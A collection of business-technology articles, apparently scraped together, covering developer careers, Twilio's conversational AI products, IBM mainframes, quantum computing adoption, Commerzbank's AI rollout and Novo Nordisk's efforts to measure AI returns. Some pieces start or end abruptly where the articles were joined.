Summit Search Group is seeing high demand for developers with deep domain knowledge in an organization’s specific industry. “So, for instance, if someone is both an experienced developer and has expertise in healthcare compliance, or financial regulations, then those candidates tend to be very sought after,” Erhard says.

Domain fluency is an underrated skill, Awasthi says. “A developer who understands healthcare compliance, financial regulation, or manufacturing process logic is significantly harder to replace than one who only writes clean code,” she says. “AI can generate boilerplate. It cannot navigate a HIPAA audit or explain a model’s output to a compliance officer.”

Development professionals should “pick an industry and learn it seriously; not just the technology stack but the regulatory environment, the business model, and the actual problems practitioners face,” Awasthi says. “A developer who has read about HIPAA, or spent time understanding credit risk, is immediately more valuable in those hiring contexts.”

It’s also vital to demonstrate real-world, practical application of skills, not just credentials. “The strongest candidates have projects in their portfolio that directly tie to and solve real business problems,” Erhard says.

Acquire soft skills

And then there are the soft skills that are becoming more of a differentiator than they were in the past. As AI handles more routine coding, human developers are expected to make more architectural decisions and collaborate across departments, Erhard says. “Strong communication and problem-solving skills are critical for many of the developer roles that we’re filling today,” he says.

While technical skills are still relevant for developers using and managing AI tools, “they also need to develop the skill of ‘deeper thinking’ and learn how to think one step ahead,” Morris says. “This includes skills like system design mastery—understanding the macro view and learning how microservices, databases, and third-party APIs interact securely and efficiently.”

They also should become deeply fluent in the AI coding tools commonly used in their particular industry, with a strong understanding of how to prompt them for optimal output, Morris says. Product context awareness is also useful. “AI doesn’t know what the customer wants, but you do,” Morris says. “Understanding the business problem and the end-user experience is a requirement for being able to guide LLMs.”

Master debugging and incident response

Developers looking to break into non-tech sectors also should develop skills in debugging and incident response, Morris says. “Complex systems with multiple AI agents can, and will, fail, which means companies need humans to trace logic flaws to get the system back on track,” he says. “A mastery of root-cause analysis is a critical skill.”

“Security, compliance, and reliability are very important in non-tech industries like finance and healthcare,” says Rohit Agarwal, co-founder of Zenius, a remote hiring company. “So employers want developers who also know regulatory environments well.”

Network and keep learning

To successfully pivot from jobs at tech companies, “continuous learning, upskilling, and building hybrid skills that combine technical and business knowledge are essential,” Morris says. “With the right preparation, tech professionals can adapt and continue to thrive in meaningful, dynamic careers.”

It’s also a good idea to join talent communities in fields of interest and “engage with other members in conversations that increase your knowledge through the collective intelligence of the community,” Morris says. “Take advantage of AI skilling opportunities relevant for your role, or better yet, where you want to go next. Experiment with the technology either on your own or through structured programs.” Ultimately, be curious and proactive, he says.

“I’d also recommend developers not to ignore referrals, direct outreach, and industry-specific communities during job search,” Agarwal says. “There are often a lot more opportunities available than the ones posted online.”

A new era of customer engagement is taking shape. AI agents are quickly becoming integral to the way businesses serve, support, and sell to customers — able to respond, reason, and take action in ways that go far beyond scripted automation.

Many customer journeys, however, are still built on systems that don’t talk to each other. Customer data lives in one place, channel history in another, and AI agents often operate with only part of the picture. Customers feel the pain when they switch between channels like voice and messaging, get transferred, and have to repeat themselves yet again. It doesn’t matter that they’ve been loyal to a brand for years, every interaction feels like a cold start. That is the conversation gap.

It’s clear that AI isn’t the problem, infrastructure is. Closing the gap requires new building blocks that focus on continuity, so context can carry forward across systems, channels, human agents, and AI agents.

To bridge the gap, at SIGNAL 2026, we are introducing a new conversation layer for the Twilio Platform.

Twilio Conversation Orchestrator, Twilio Conversation Memory, and Twilio Conversation Intelligence are now generally available. Together, they help businesses coordinate interactions, preserve context, and connect human and AI agents so every conversation is more continuous and useful.

In addition to the new Conversations layer, we’re also announcing platform updates that make it easier to build, manage, and scale customer engagement on Twilio — from a reimagined Twilio Console to expanded channels and new voice AI capabilities.

New building blocks for connected conversations

The conversation gap does more than create inconsistent customer experiences. It hurts conversion and retention, increases operational costs, adds integration complexity, and makes agents less productive. The new platform capabilities we’re introducing are designed to fix that by coordinating interactions, maintaining context, and surfacing signals as conversations happen.

Conversation Orchestrator

Conversation Orchestrator helps businesses coordinate interactions across Twilio channels without complex custom logic. Teams can configure it in Console or configure their implementation with the API. It connects interactions into a single thread and manages handoffs between human agents and automated systems.

Conversation Memory

Conversation Memory creates a living, identity-resolved profile by connecting customer data with conversation history and customer traits. That means each interaction starts with the right context. It’s built specifically for LLMs to reduce latency and token usage by surfacing the most relevant details when they matter.

A new Enterprise Knowledge API (now generally available) also allows teams to deliver more relevant experiences and ground interactions in trusted business knowledge such as FAQs, policies, and product documentation.

Conversation Intelligence

Conversation Intelligence provides real-time understanding of live interactions. Using prebuilt and custom LLM-based operators, it can detect changes in sentiment, flag potential escalations, and trigger action during a conversation, not only after it ends.

That gives teams the ability to respond sooner, support agents more effectively, and improve customer outcomes while the conversation is still in progress.

Together, these products help businesses create customer experiences that feel more connected across channels.

Open by design

Twilio remains neutral by design. We start with the premise that you know your business. We aren’t here to prescribe a model, framework, or data strategy. We provide the infrastructure that helps you build customer engagement in the way that works best for your business. You pick the model and agent runtime. You own the data.

That doesn’t mean you need to start from scratch, either. We partnered with Microsoft, AWS, and others to create blueprints that support faster development. We are also introducing an open-source developer toolkit, Twilio Agent Connect (now generally available), that lets your teams connect agents built on any LLM or framework directly to Twilio’s infrastructure.

For developers, this means more flexibility. For businesses, it means less lock-in and the ability to get value from existing investments. For partners, it means more ways to build with Twilio.

A new front door

We are also introducing a reimagined Twilio Console, because as customer engagement grows more complex, managing the infrastructure behind it should feel effortless.

The new Console is a single mission control center that brings your communications, identity, and data into one experience: one login, consistent logs across every surface, an intelligent Console Assistant, transparent billing insights, and streamlined compliance workflows that no longer slow you down.

Over the coming months, we’ll roll out this new Console experience to customers automatically. You can also opt in to gain early access.

More channels, more control, smarter conversations

In addition to these launches, we are announcing several updates that expand customer reach, support enterprise requirements, and make it simpler to build on Twilio.

• Apple Messages for Business (Private beta) and Twilio Email (GA) give teams new ways to reach customers on the channels they already use.
• Data Residency for SMS (EU) (Public beta) enables teams to manage personal data locally to support regional data requirements.
• Conversation Relay enhancements add PCI compliance, HIPAA eligibility, Insights, and support for Deepgram Flux for smarter turn detection — helping AI agents better understand when a person has finished speaking.
• Stripe Projects integration enables developers and AI agents to seamlessly provision Twilio within Stripe Projects in a single, programmable CLI workflow.

Built with our customers

Bringing these new products to life required a close partnership with many beta customers and partners. This helped us understand real-world signals and needs to help make the capabilities robust from the start.

Among dozens of others, Centerfield, Constellation Dealerships, Car Finance 247, and Meera.ai leveraged Twilio to solve their own customer engagement challenges. These teams showed what is possible when businesses carry context forward, act on live conversation signals, and connect AI agents with human teams in the moments that matter.

Car Finance 247, a leading UK online car finance broker, is using Twilio to help recover stalled loan applications. When customers miss a field, need to correct information, or still need to confirm terms and conditions, AI-powered outreach across voice, SMS, and RCS, Conversation Memory tracks the application state. Conversation Orchestrator manages the outreach journey, and Flex helps bring in a human agent as needed. As Reg Rix, Co-Founder and CEO, shared:

“Because the platform remembers where each customer left off, we can pick up right where they stopped, helping them cross the finish line in a way that is modern, responsive, and genuinely helpful.”

Centerfield, a technology company powering AI-driven commerce, helps brands connect with consumers across digital and phone-based journeys. With Twilio, the team is connecting real-time conversation data with customer context to guide agents and AI systems in the moment, standardise what works, and improve performance at scale. As Aniketh Parmar, Chief Technology Officer, said:

“Performance comes down to how well every interaction moves a customer forward. We’re capturing each conversation in real time and applying what we already know about the customer to guide our agents and AI systems in the moment. With the Twilio Platform, including Conversation Orchestrator, Conversation Memory, and Conversation Intelligence, we can see what’s driving conversations so we can standardise what works, eliminate what doesn’t, and continuously improve outcomes at scale.”

Constellation Dealerships is using Twilio’s agent infrastructure to accelerate AI-powered engagement across its dealer network, moving from evaluation to measurable outcomes in days. As Richard Pineault, Director of R&D, shared:

“The value of this partnership is evident—our team progressed from evaluating Twilio’s agent infrastructure to realising measurable outcomes within days. This rapid speed-to-value exemplifies the agility and innovation required to propel the dealership industry into the future.”

Meera.ai is building on Twilio to modernise outbound engagement, replacing repeated manual follow-ups with always-on conversations across voice, SMS, and messaging. Vivek Zaveri, Chief Executive Officer, said:

“Meera.ai has partnered with Twilio since our inception to champion a conversation-first future for commerce. As the industry shifts toward real-time LLM-enabled interactions, Twilio’s Platform and the new Conversations products will help us reach customers in the moment.”

Together, these customers and partners show that the Twilio Platform can help businesses recover stalled journeys, improve live interactions, accelerate time to value, and create more connected experiences across AI agents, human teams, and every customer channel.

The next era of customer engagement starts here

As AI agents own more of customer engagement, businesses need infrastructure that keeps conversations connected across channels, systems, and teams. That means preserving context, coordinating handoffs, and acting on what is happening in real time.

That is what we are building with this next generation of the Twilio Platform: a new layer that connects channels, context, intelligence, and human and AI agents, helping businesses make every digital interaction more connected, more useful, and more amazing.

For 17 years, Twilio has helped builders create better ways for businesses to connect with their customers. In this next era, that connection matters more than ever.

Explore the new Conversations layer, try the products, and let’s build what comes next, together.

---

Voice AI. Conversational AI. You’ve seen both terms everywhere—sometimes in the same sentence, sometimes used as if they mean the same thing.

They don’t. But they’re not opposites either.

One is a category of technology. The other is a specific way to deliver it.

Mix them up and you end up making the wrong platform decisions, building the wrong workflows, and losing 45 minutes in a meeting that didn’t need to happen.

Here’s the difference between voice AI and conversational AI, minus the jargon.

Conversational AI: The intelligence layer

Conversational AI is the broader category. It refers to any AI system designed to understand human language, reason about what was said, and respond in a way that feels natural and contextually relevant. That exchange can happen through text, voice, or any other medium.

What defines conversational AI is the intelligence underneath the interaction:

• Natural language understanding that interprets intent rather than matching keywords
• Dialogue management that tracks what’s been said and what still needs to be resolved
• Response generation that produces output appropriate to the context.

Conversational AI shows up in a lot of forms. A chatbot on a support page is conversational AI. An AI assistant that helps a sales rep draft follow-up emails is conversational AI. A virtual agent that handles inbound customer inquiries is conversational AI.

The intelligence layer makes the interaction feel like a conversation rather than a database lookup.

The channel, the modality, the interface: those are separate from the intelligence. Which brings us to voice AI.

Voice AI: The delivery method

Voice AI is conversational AI delivered through spoken language. It’s the application of conversational AI intelligence to voice-based interactions where the input is speech and the output is speech.

A voice AI system:

• Takes spoken words
• Converts them to text via speech-to-text (STT)
• Runs that text through a conversational AI layer to understand intent and generate a response
• Converts that response back to spoken audio via text-to-speech (TTS)

And it does it all fast enough that the conversation doesn’t feel like it’s buffering.

Voice AI isn’t a fundamentally different kind of intelligence from conversational AI. It’s conversational AI with a voice interface wrapped around it. The reasoning, the context tracking, the dialogue management—those are the same capabilities.

What voice AI adds is the ability to operate through spoken language in real time, with all the additional complexity that introduces: handling interruptions, managing turn-taking, producing natural-sounding speech, and doing all of it with sub-500ms latency.

Ultimately, conversational AI is how the system thinks. Voice AI is how it talks.

How they relate

Voice AI depends on conversational AI to be useful. Without the intelligence layer (intent recognition, context tracking, and coherent response generation), a voice system is just a phone menu with better audio.

The voice interface makes the interaction accessible through speech. The conversational AI makes the interaction worth having.

The relationship goes one way, though.

Every voice AI system uses conversational AI underneath it. But conversational AI doesn’t require voice. A text-based chatbot, messaging bot, or AI assistant embedded in a ticketing system are conversational AI without any voice component.

It’s not really a question of whether you need conversational AI or voice AI. It’s better to ask: does your use case require voice?

• If yes, you need voice AI—which means you also need conversational AI as the foundation.
• If the interaction is text-based, you need conversational AI without the voice layer.

Voice AI vs. conversational AI: Key differences

Side by side, the differences get a lot clearer. Here’s the breakdown across the criteria that matter most for teams building or buying AI for customer service.

When to use conversational AI without voice

Text-based conversational AI makes sense when your customers primarily engage through chat, messaging, or digital channels. And when the nature of the interaction doesn’t require the immediacy of a phone call.

• Support chat on a website
• WhatsApp automation
• AI-assisted email triage
• Messaging bots for transactional notifications

These are all conversational AI use cases where voice doesn’t add much and may introduce unnecessary friction. Not every customer wants to speak out loud, especially in public, at work, or when the question is simple enough to type in thirty seconds.

Text-based conversational AI is also typically faster to deploy, easier to test, and simpler to update. You can iterate on response quality, test new flows, and review transcripts without dealing with audio quality, latency optimisation, or the additional infrastructure that voice requires.

If your primary support and engagement channels are digital and your customers are comfortable typing, starting with text-based conversational AI often makes more sense than jumping straight to voice.

When you need voice AI specifically

Voice AI makes sense when the use case is inherently telephonic, time-sensitive, or requires the kind of nuance that text alone doesn’t capture.

• Inbound phone support: Customers call because they want to talk to someone, or because they’ve always called, or because the issue feels urgent enough that they don’t want to wait for a chat response. An AI that can answer that call, understand the issue, and resolve it in the same interaction replaces one of the most expensive and frustrating moments in customer service.
• Outbound calling: Appointment reminders, fraud alerts, lead follow-up, proactive outreach for at-risk customers. These interactions are harder to execute over text because they require real-time dialogue.
• Context: Tone, urgency, frustration, hesitation—these are signals that a voice AI system can detect and respond to. A customer who speaks with audible frustration is communicating something beyond the literal words, and a well-designed voice AI system can adjust its approach accordingly.

Finally, voice AI matters when your customers are less likely to engage through digital channels. These might be older demographics, industries where phone is still the primary contact method, or use cases where hands-free interaction is a practical requirement.

Do you need both?

For most businesses building serious customer engagement infrastructure: yes.

The customers who prefer chat aren’t going away. Neither are the customers who pick up the phone. A complete AI engagement strategy handles both with a single connected experience rather than two separate systems that don’t know about each other.

And that’s where Twilio Conversations can help.

• Conversation Orchestrator connects voice, SMS, WhatsApp, and chat into one continuous conversation record.
• Conversation Memory gives every agent (AI or human) persistent customer context across channels.
• Conversation Relay handles the voice AI layer: low-latency STT and TTS, bring-your-own-LLM, HIPAA-eligible.
• Agent Connect lets you plug your own AI agents into Twilio channels without rebuilding your communications infrastructure.

Your customers are going to use both voice and text. The question is whether your stack connects them.

Start for free or contact sales to talk through your use case.

Frequently asked questions

What’s the difference between voice AI and conversational AI?

Conversational AI is the intelligence layer that understands human language and generates contextually relevant responses, regardless of channel. Voice AI is conversational AI delivered through spoken language. It adds speech-to-text and text-to-speech components so the interaction happens via voice.

Is voice AI a type of conversational AI?

Yes. Voice AI is a specific application of conversational AI that operates through spoken language. The reasoning, intent recognition, and dialogue management capabilities come from conversational AI. Voice AI adds the speech interface on top to convert spoken input to text, process it through the conversational AI layer, and convert the response back to speech.

Can conversational AI work without voice?

Yes. Text-based chatbots, messaging bots, AI assistants in ticketing systems, and email AI are all forms of conversational AI that don’t use voice.

Does Twilio support both voice AI and conversational AI?

Yes. Twilio Conversation Relay handles voice AI, combining low-latency STT and TTS with bring-your-own-LLM flexibility. The broader Twilio Conversations platform connects voice, SMS, WhatsApp, and chat into a single conversation layer, so the conversational AI intelligence and customer context are shared across every channel.

To learn more about Twilio conversations, visit here.

---

IBM is looking to expand the reach of its foundational mainframe portfolio by adding new single frame and rack mounted versions of its Z and LinuxONE systems.

The IBM z17 portfolio adds a single frame and rack mount versions that bring mainframe capabilities into smaller, customizable footprints. The LinuxONE Rockhopper family gets a single frame and rack mount models, plus a new Express rack mount offering, that target new and smaller clients, according to Tina Tarquinio, chief product officer, IBM Z & LinuxONE.

Specifically, the new hardware includes:

• z17 single frame is a fully packaged box in an IBM rack with intelligent power distribution units, delivered as a complete enclosed unit ready to deploy at the edge or other strategically important customer sites.
• z17 rack mount lets customers install IBM Z components directly into their own industry-standard rack, with built-in flexibility for co-location with other technologies.
• LinuxONE Rockhopper 5 is a multi-drawer LinuxONE system for high-density workloads, with on-chip AI acceleration, confidential computing, and postquantum cryptography available in both single frame and rack mount configurations.
• Rockhopper 5 rack mount and Express offerings deliver enterprise-grade Linux, confidential computing, and on-chip AI acceleration in a compact 18U configuration. Designed for organizations supporting a smaller set of workloads, the offering provides a cost-efficient entry point that can scale as business grows, while prioritizing security, resiliency, and performance.

The new IBM z17 and IBM LinuxONE 5 Rockhopper configurations support up to 82 cores and 18 TB of memory across two processor drawers, representing about a 20% increase in core count and 12% increase in memory capacity over current systems, IBM stated. Single processor capacity of an IBM z17 ME2 provides full speed IBM z/OS configurations including 10% greater throughput per core than IBM z16 A02 with some variation based on workload and configuration, according to Tarquinio.

Both systems feature a 5.5 GHz IBM Telum II processor and a built-in AI accelerator that IBM says will let customers run more than 450 billion inferencing operations in a day with one millisecond response time. In addition, the 32-core Spyre AI accelerator is designed to handle all manner of AI workloads.

The idea is to bring the core strengths of IBM Z to a broader range of deployment models while offering the security, resilience, and performance enterprises depend on, Tarquinio said. 

“As always, we’re continuing to innovate to deliver more with less, including up to 20% more capacity than IBM z16 to help process transactions faster and support growing AI-driven workloads,” Tarquinio said.  “Even the newest and smallest member of the IBM z17 family delivers the performance, efficiency, and scalability organizations need as they balance growth ambitions with real-world resource constraints.”

The Linux-based system, Rockhopper 5 is for organizations that have moved past the evaluation question and are ready to consolidate a substantial portion of their x86 estate, said Marcel Mitran, IBM Fellow and CTO of IBM LinuxONE. 

Rockhopper 5 is designed to bring a smaller physical footprint and a software licensing model that reflects actual workload boundaries rather than physical server counts, Mitran said.

The LinuxONE 5 Express is a preconfigured system designed to get organizations running on LinuxONE quickly, with a defined bill of materials and a predictable starting cost, on the same architecture that the largest enterprises in the world depend on, Mitran said.

“It is built for organizations that want to consolidate a modest x86 estate, evaluate LinuxONE for the first time, or deploy a specific workload such as digital assets, AI-infused transaction processing, or confidential computing, without committing to the footprint of the larger model,” Mitran said.

Some of the mainframes’ software features were also bulked up. For example, IBM said that Post Quantum Cryptography security is now standard on the z17 and LinuxONE Rockhopper 5 systems letting customers start to utilize cryptography to protect core resources for the future.

The idea is to help customers protect long-lived, mission-critical data while reducing the cost and complexity of future cryptographic migration, IBM stated. 

In that vein, IBM said it was bringing Crypto Discovery & Inventory, which lets security teams see what has been encrypted across the enterprise. In addition, IBM announced an Infrastructure Management for Z and LinuxONE package that would let customers administer, monitor, automate, and provision IBM Z and LinuxONE systems from a central location.

IBM said it wants to reduce operational complexity for customers by making automating day-to-day operations to ultimately lower administrative costs and concerns. With the new flexible form factors, IBM continues to target hybrid and AI infrastructure buildouts with the Big Iron. In the AI world, the z17 is being utilized for AI inferencing, transactions, training, and key security applications such as fraud detection and insurance claims.

“Enterprise infrastructure is entering a new phase. Organizations need platforms that can support AI-driven growth while navigating resource constraints, evolving business requirements, and increasingly complex hybrid environments,” Tarquinio said. “They are being asked to deploy new AI capabilities while learning new skills, controlling operational costs, and maximizing the value of existing applications and infrastructure.”

A recent IBM Institute study on mainframe usage stated that embedding mainframe to support AI in executing transactions is not temporary: 75% of executives expect mainframe-based applications to remain central to digital transformation, and 60% say mainframe-based platforms are essential to enabling AI innovation.

”Mainframe-anchored systems of record are becoming systems of intelligent execution—not as general‑purpose AI platforms, but as environments where AI acts directly within transactions and in support of them,” the study reported.

Gartner wrote in its “The State of the IBM Mainframe in 2026” report that IBM’s willingness to make significant investments ensure the mainframe modernizes to remain a vital and thriving component of enterprise IT.  

“Most mainframe customers are now prioritizing the reduction of technical debt and adopting platform innovations to future-proof their mainframe environments for the coming decade,” Gartner wrote.

The new z17 single frame and rack mount configurations, LinuxONE Rockhopper 5, and LinuxONE 5 Express will all be available August 12, 2026. IBM Infrastructure Management for IBM Z and IBM LinuxONE will be available August 14.

Quantum computers are still two to five years away from full-scale production, but early users like the Cleveland Clinic and Mitsubishi Chemical are already seeing benefits, particularly when quantum is used in conjunction with AI and high-performance computing.

“We are starting to see real applications of it,” says Lara Jehi, chief research information officer at Cleveland Clinic, and one of the keynote speakers at the Quantum Tech World conference in Boston in late June.

And the technology is moving faster than anyone could have predicted, she tells Network World. For example, in the fall of 2024, the largest simulation that quantum computers could handle was just ten atoms, she says. “Roadmaps in the industry were hypothesizing that getting past the 10,000-atom threshold would take another five to seven years.”

This year, the Cleveland Clinic simulated protein complexes of up to 12,635 atoms. “We would not have been able to do the same analysis classically,” she says.

But even a protein of this size is still too small to be clinically relevant, she adds. For something with real-world applications, you’d need to be in the ballpark of a million atoms. And that’s not out of reach. “I think we’re very close, I’m very confident,” she says. “One or two years.”

And even today, by combining quantum computing with AI running on classical computers, it’s possible to do interesting work. For example, simulating how well a compound will bind to a protein in real time is too big a problem for either AI or a quantum computer to handle on its own.

“But AI can do a good job identifying where in that large molecule are the particular spots where you need that extra layer of accuracy,” she says. “We use classical computing up front to identify these highest tier fragments and then zoom in to those fragments with the higher resolution that quantum can provide for better simulation.”

Mitsubishi Chemical has been experimenting with quantum computing since 2018, for quantum chemical calculations and optimization problems, and the technology works.

“We want to try to have it in production use by the end of this year, or maybe the beginning of next year,” says Qi Gao, distinguished scientist in the materials design laboratory of the Mitsubishi Chemical Corporation Science and Innovation Center. The first use cases will be in advanced semiconductor materials, helping design new materials for computer chips.

“Two-nanometer chips require high energy resolution, which is impossible for classical computer simulations,” he says. “So, we have to use quantum computers.”

The plan is to simulate metal oxide, which is a photo-resistant material used in etching patterns into computer chips. This is a simulation that cannot be done classically, Gao says. It will take a couple of years to fully develop the algorithms to make it work, he says, but the industry is moving towards practical business use.

“Every company is looking at 2028, 2029, or 2030,” he says. “We think 2028 and 2029 will be very important years in quantum computing.”

SoftBank Corp. is looking at a similar timeframe for commercializing its quantum computing offerings. The company connects customers to IBM and Quantinuum machines at Riken through its AI data center, with 21 pilot projects now ongoing with pilot customers.

“Within our AI data center, we have already built the supercomputer level,” says Nobushige Oguri, director of the quantum business planning department of the quantum technology divisions at SoftBank Corp. “It’s a world-class supercomputer, but it’s just set up for processing AI. The quantum computer will be the new accelerator to enhance current AI capability.”

It’s this hybrid use of AI and quantum together that will accelerate adoption, he tells Network World. Juliette Peyronnet, U.S. general manager at Alice & Bob, agrees that the hybrid approach is the best bet, with quantum computers augmenting today’s technology, not replacing it.

“Quantum processing units are very specialized devices,” she says. “They can’t solve your everyday problems. They’re really bad at doing basic math.”

Instead, just like the way that CPUs do the bulk of computing work and GPUs are used for AI-related tasks, quantum processors will be used to handle the challenges that traditional computers can’t tackle.

“We know that quantum computers are not going to work in isolation,” she says.

A maturing ecosystem

Another sign that quantum computing is starting to move out of the laboratory and into real-world use is the emergence of a quantum ecosystem, with multiple hardware and software providers filling in all the gaps.

“I’ve been 15 years in field, as a researcher and now as a CEO, and it’s been changing dramatically and accelerating very fast,” says Marta Estarellas, CEO at Qilimanjaro Quantum Tech, a quantum computing company based in Spain that makes superconducting qubits. And, today, quantum computing companies no longer need to make every single component from scratch, she says.

“Now what you see are a lot of spinoffs and startups starting to build different layers of the supply chain,” she tells Network World. “Which is great. Players like ours don’t have to think about building the full stack and can delegate to third parties—and that really helps push forward the technology.”

The Quantum Tech World conference showcases this ecosystem, she says. According to conference organizers, more than 1,300 people attended this year, and there were more than one hundred sponsors. Among them were multiple quantum computer makers, including Quantum Computing Inc., a maker of room-temperature photonic computers, which ran a real-time demo of a fraud detection algorithm that beat the best classical method and scales linearly with data set size instead of quadratically. There were also software companies, consulting firms, and other specialized providers.

“Our booth has been packed,” says Jason Silbergleit, head of Americas at Classiq, an orchestration software company that provides an abstraction layer that makes it easier for non-scientists to build quantum applications. “More and more users want to take advantage of the platform. Even in the past six months—three months—the amount of acceleration and interest is growing.”

“We’re shifting from very fundamental and exploratory, building one-off kinds of systems and devices, to making things that are scalable,” says Celia Merzbacher, executive director at the Quantum Economic Development Consortium. “And within a timeframe that private investors and end users are willing to start to engage.”

The momentum is apparent on a number of fronts, she tells Network World. Quantum companies are getting new rounds of investment, and governments are making commitments.

According to a report her organization released in April, there are now 556 pure-play quantum companies and more than 7,000 “quantum-engaged” organizations. The quantum industry saw $1.9 billion in revenues in 2025, up 30% from the year before. There was also $12.7 billion in new government funding commitments last year, up more than 300% from 2024, and $4.9 billion in new private venture capital investment, an increase of nearly 200%.

“And the number of people who are really rolling up their sleeves and doing the work that needs to be done to advance the hardware and the software—I think there’s just a momentum that is quite visible,” she says.

KI-Pilotprojekte gibt es in deutschen Unternehmen viele. Doch wenn es zum Schwur kommt, trennt sich die Spreu vom Weizen: Sehr viele scheitern, wenn der Rollout an die breite Masse der Belegschaft ansteht.

Ein Unternehmen, das jetzt den Schritt angeht, KI direkt und in der Breite in den Arbeitsalltag ihrer Mitarbeiter zu integrieren ist die Commerzbank. Im Gegensatz zum Autobauer Mercedes-Benz, der dabei auf eine Partnerschaft mit dem Berliner Unicorn n8n setzt, verlässt man sich bei der Bank auf die US-amerikanischen Hyperscaler Microsoft und Google.

Copilot und Gemini als KI-Assis

So weitet das Geldhaus seine Partnerschaften mit den beiden Konzernen aus, um KI-Assistenten Microsoft 365 Copilot sowie Gemini Enterprise einzuführen. Zielgruppe sind nicht hochspezialisierte Daten-Teams, sondern klassische Sachbearbeiter und Manager.

Die Bank will so die Grundlage für effizientere Abläufe und ein modernes Arbeitsumfeld schaffen. So sollen Nutzungshürden gesenkt und der produktive Einsatz künstlicher Intelligenz im gesamten Konzern erleichtert werden.

600 Millionen Invest für KI

Der Rollout erfolgt im Rahmen der Strategie „Momentum 2030“ mit der die Bank die Potenziale von KI noch stärker ausschöpfen will. Im Zeitraum von 2026 bis 2030 plant sie kumuliert rund 600 Millionen Euro in diesem Bereich investieren. Ab 2030 erwartet die Commerzbank aus ihren KI-Initiativen einen Wertbeitrag von rund 500 Millionen Euro pro Jahr.

Dabei ist das Thema KI für die Bank kein Neuland. So hat die Bank bereits 2017 – lange vor dem aktuellen KI-Hype – einen eigenen Bereich für Big Data und Advanced Analytics ins Leben gerufen. Im Zuge der KI-Strategie des Instituts wurden dann Projekte wie der virtuelle Avatar Ava, das Assistenzsystem Sherlock oder Fraud AI realisiert. Ebenso wurde eine eigene AI Academy gegründet, um Mitarbeiter zu schulen.  

Danish multinational pharmaceutical Novo Nordisk is very interested in speeding up the time it takes to get drugs to market as patents expire. “If you have a blockbuster drug, a one-week delay can be $10 to $100 million,” says Stephanie Bova, the company’s digital transformation officer. “It’s massive money because you have less time on patent.”

Gen AI offered the possibility of dramatically speeding up multiple steps in the drug development process. And since Novo Nordisk was already carefully tracking how long its key processes took, it had an advantage that many companies didn’t. So it should’ve been relatively simple to sprinkle in some gen AI, see productivity improve, and watch the money roll in. But it wasn’t that easy. A drug development process has many parts, happening at different times in different departments.

“People are experts in their own domains but don’t necessarily know the next domain and how it all fits together,” Bova says. “The system is so big and complex that you’re not able to see all the performance at once.”

Process documentation might not match what people actually do in practice, and different people might do the same task in different ways. And some crucial tasks might be nearly invisible from the outside. The manufacturing team, for example, might sit in a completely different group and not be aware the drug is getting ready for FDA submission, and don’t have all their documents ready yet.

“So you’ve run very fast only to have to wait for them to catch up,” Bova adds.

This is just one of many challenges companies face when trying to measure the results of AI projects, and why surveys are so contradictory.

Looking at individual tasks, Novo Nordisk can show productivity improvements and clear positive benefits to its use of AI. But stepping back and looking at the company’s bottom line, the picture gets murkier. First, if critical steps are missed, then time to market won’t improve. It also takes years for a new drug to get to customers, so any positive bottom-line effects won’t be felt for a while. And that’s just the start of the ROI measurement problem.

Process measurement

To address its process blind spots, Novo Nordisk turned to the new generation of process mining: AI-powered real-time digital twins of operations.

“We partnered with process intelligence company Celonis to get a digital twin of our process data,” Bova says. “We were the first in the industry to apply it to the clinical setting.” The tool collects information from enterprise systems to track what employees actually do, rather than using surveys to collect information on what a fraction of employees remembered doing at some point.

The first project was a simple, seven-step process, and in creating a digital twin of it, Novo Nordisk discovered that, depending on who was doing it, it could be a five- or nine-step process. “If you get 10 different subject matter experts in a room, you get all kinds of interpretations, and you have drift over time,” she says.

The project exposed multiple flaws in existing processes. In some cases, employees needed to be retrained. In one, the user interface had to be updated. Once a process is standardized, though, there’s an opportunity to take the before picture, so there’s something to compare to afterward, to see if the AI augmentation or automation show any results.

Another thing they had to figure out ahead of time was decide what to do with any time savings that showed up.

“You don’t want to lay people off,” Bova says. “These are highly technical, hard-to-find talent. Maybe we want to think about redistributing teams a bit.”

Today, the company has several hundred AI agents in active deployment, tagged inside the digital twin infrastructure so they can be identified.

“If something screws up, we know exactly where to fix it,” she says, adding that the next phase is multi-agent orchestration. “Today, we have them connected, but we don’t have agents of agents.”

It’s too early to say if there’s ROI yet because, for drug development, the process takes years. “But by looking at the end-to-end process, my hope is we’ll find two years of cycle time to engineer out,” she says. “Two years quicker to market, compared to where we are now.”

Drugs that are already in the final phase of development won’t see as much acceleration, but those just starting out will benefit the most. The bottom line results, however, won’t show up for several years.

The pharmaceutical industry isn’t the only one where true value comes from optimizing multiple interconnected processes at once. According to PwC, tactical AI projects often don’t deliver measurable value, with tangible returns coming from enterprise-scale deployments consistent with business strategy.

In fact, many companies have seen neither increased revenue nor decreased costs from AI in the last 12 months despite nearly universal adoption of AI. Still, enterprise spending on AI is set to nearly double by the end of the year compared to last year, according to KPMG.

Productivity measurement

Most companies start on a smaller scale, rolling out AI chatbots to employees to help improve productivity. And the pace of adoption here has been staggeringly high, matched only by a lack of ability to measure the productivity gains that are supposed to be achieved.

Having a baseline is key, says Anand Rao, professor of AI at Carnegie Mellon University, but it’s difficult to measure in some cases, and all but impossible in others. Take for example insurance decisions where results can take years to show up. With life insurance, it could be decades, he says. And for some types of decisions, companies don’t have any measurements at all.

“There’s a social stigma to saying that I’m trying to look at your decision-making and how well you’re making the decisions,” he says. “As humans, we don’t like to be measured for our decisions.”

Then, when a decision turns out well in the end, people are happy to take credit. “If the decision goes badly, it’s something outside,” he says.

But even for specific tasks where measurement is possible, companies often don’t put in the work to make the measurements prior to rolling out AI tools. “We didn’t start with a baseline,” says Julie Averill, former EVP and global CIO of fashion retailer Lululemon. Averill is now CEO at Gold Thread, a digital transformation consultancy.

“We started with the assumption that AI was going to help people make better decisions,” she says. “And that sets you up to not being able to measure well.”

There are alternative metrics that a company can look at instead, she adds, like usage rates or user satisfaction. “This is happening, and it’s bringing benefits,” she says, “some of which you can see, and some you can’t. You have to trust the process. It’s just like the cloud. You know it’s the way of the future and you can see the benefits, but it’s hard to get there, and there’s a lot of change required. But the sooner you do that, the sooner you’re in the new way of operating and can really take advantage of it.”

There are other areas where hard metrics are more readily available, like customer service. “These are repeatable tasks, and it’s usually the first place companies automate with AI,” Averill says. “There are very tangible results you can measure, and you can have a very good baseline.”

Lululemon has also been using AI for years for better personalization and recommendations, and that’s also an area that can be quantified. And automation can reduce manual data entry, reducing error rates. AI can also be used to help with compliance monitoring, fraud detection, and predictive maintenance for equipment, which are all use cases that can be quantified.

